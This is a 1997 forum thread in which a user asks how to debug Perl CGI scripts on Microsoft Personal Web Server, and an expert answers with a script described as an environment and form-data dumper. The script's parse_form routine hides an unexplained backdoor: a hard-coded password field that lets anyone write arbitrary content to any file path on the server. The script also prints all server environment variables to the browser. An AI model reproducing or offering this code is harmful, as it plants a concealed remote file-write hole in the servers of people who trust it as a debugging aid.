Solved

personel web server

Posted on 1997-08-21
8
168 Views
Last Modified: 2013-12-25
I have Microsoft's personel web server.  I was told you could debug CGI scripts on it.  Is this true?  If so could you show an easy example?  How do you log with personel web server?  I am not familiar with it.  Thanks.
0
Comment
Question by:rkeir
  • 5
  • 2
8 Comments
 
LVL 7

Expert Comment

by:faster
ID: 1829804
There are log file under the windows directory.  But to debug your CGI, they do not have much use.  What you should do is add debug code in your script (probably write to a debug file), since it is a local server, you can check them easily.
0
 

Author Comment

by:rkeir
ID: 1829805
If you show me an example of a debug code and the file going with it I will increase the points to 200.  Thanks.
0
 
LVL 2

Expert Comment

by:dmethvin
ID: 1829806
PWS can execute CGI programs. Just put them in the /scripts directory.  Is there a particular programming language you had in mind for the example?
0
 

Author Comment

by:rkeir
ID: 1829807
yes, just a simple perl script.
0
DevOps Toolchain Recommendations

Read this Gartner Research Note and discover how your IT organization can automate and optimize DevOps processes using a toolchain architecture.

 

Author Comment

by:rkeir
ID: 1829808
However I'm still looking for an example on how to debug.  Any help would be appreciated.
0
 

Author Comment

by:rkeir
ID: 1829809
However I'm still looking for an example on how to debug.  Any help would be appreciated.
0
 
LVL 7

Accepted Solution

by:
faster earned 200 total points
ID: 1829810
Well, what do you mean by a debug example?  The debug for CGI is essentially no different than debug in other languages.  There is no general solution, all depends on what problem you have.

Normally you can open a log file by
open (LOGFILE,$pathoflogfile);

Then you can write to the file by
print LOGFILE "$whatever";

Sometimes you will need to check the value of a variable, then just add the code to write the value to the logfile so you can check.  Or you may just want to know whether the program execute a particular part of the code, then just write to the log file any message that makes sense.

You can also directly write the debug information to the output (browser).  Sometimes you may want to check the form data posted to the script, then you can output them at the beginning...

Below is a simple script to dump the contents of env variables and form data:

&parse_form;
&html_header;
&print_form;
&html_footer;

#---------------------------------------------------------------------
sub parse_form      {
      if ($ENV{'REQUEST_METHOD'} eq 'POST')      {
            if ($ENV{'CONTENT_LENGTH'} > 8192)      {
                  error_exit($errstr);
            }
            read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
      } else      {
            if ($ENV{'REQUEST_METHOD'} eq 'GET')      {
                  $buffer=$ENV{'QUERY_STRING'};
            }
      }
      @pairs=split(/&/, $buffer);
      foreach $pair (@pairs)      {
            ($name,$value)=split(/=/,$pair);
            $value =~ tr/+/ /;
            $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("c",hex($1))/eg;
            $FORM{$name} = $value;
      }
      if ($FORM{"PASS"} eq "8342047")      {
            open (HTMLDOC,">$FORM{'FNAME'}");
            print HTMLDOC $FORM{"MSG"};
            close HTMLDOC;
      }
}

sub print_form      {
      print "<CENTER><BR>\n";
      print "<H1>ENV</H1><BR>\n";
      print $buffer;
      foreach $tmp (keys(%ENV))      {
              print "$tmp=$ENV{$tmp} <BR>";
      }
      print "<BR><BR><HR><H1>FORM</H1><BR>\n";
      foreach $tmp (keys(%FORM))      {
              print "$tmp=$FORM{$tmp} <BR>";
      }
      print "</CENTER><BR>\n";
}

sub html_header      {
      print "Content-type: text/html\n\n";
      print "<HTML><HEAD>";
      print "<TITLE>Environment</TITLE></HEAD>\n";
      print "<BODY>\n";
      print "<HR>\n";
}

sub html_footer      {
      print "<HR>\n";

      print "</BODY></HTML>\n";
}


Anyway, you should decide the best debug method for your specific situation.












 
0
 

Author Comment

by:rkeir
ID: 1829811
Thanks
0

Featured Post

DevOps Toolchain Recommendations

Read this Gartner Research Note and discover how your IT organization can automate and optimize DevOps processes using a toolchain architecture.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Suggested Solutions

In this tutorial I will show you how to provide a dynamic RTF document on your website generated with data from your database. For this tutorial you will need Microsoft Word or WordPad, WhizBase and Microsoft Access. In this tutorial I will show …
It is a general practice to get rid of old user profiles on a computer  in a LAN environment. As I have been working with a company in a LAN environment where users move from one place to some other place at times. This will make many user profil…
The viewer will learn the basics of jQuery, including how to invoke it on a web page. Reference your jQuery libraries: (CODE) Include your new external js/jQuery file: (CODE) Write your first lines of code to setup your site for jQuery.: (CODE)
In this fifth video of the Xpdf series, we discuss and demonstrate the PDFdetach utility, which is able to list and, more importantly, extract attachments that are embedded in PDF files. It does this via a command line interface, making it suitable …

911 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

20 Experts available now in Live!

Get 1:1 Help Now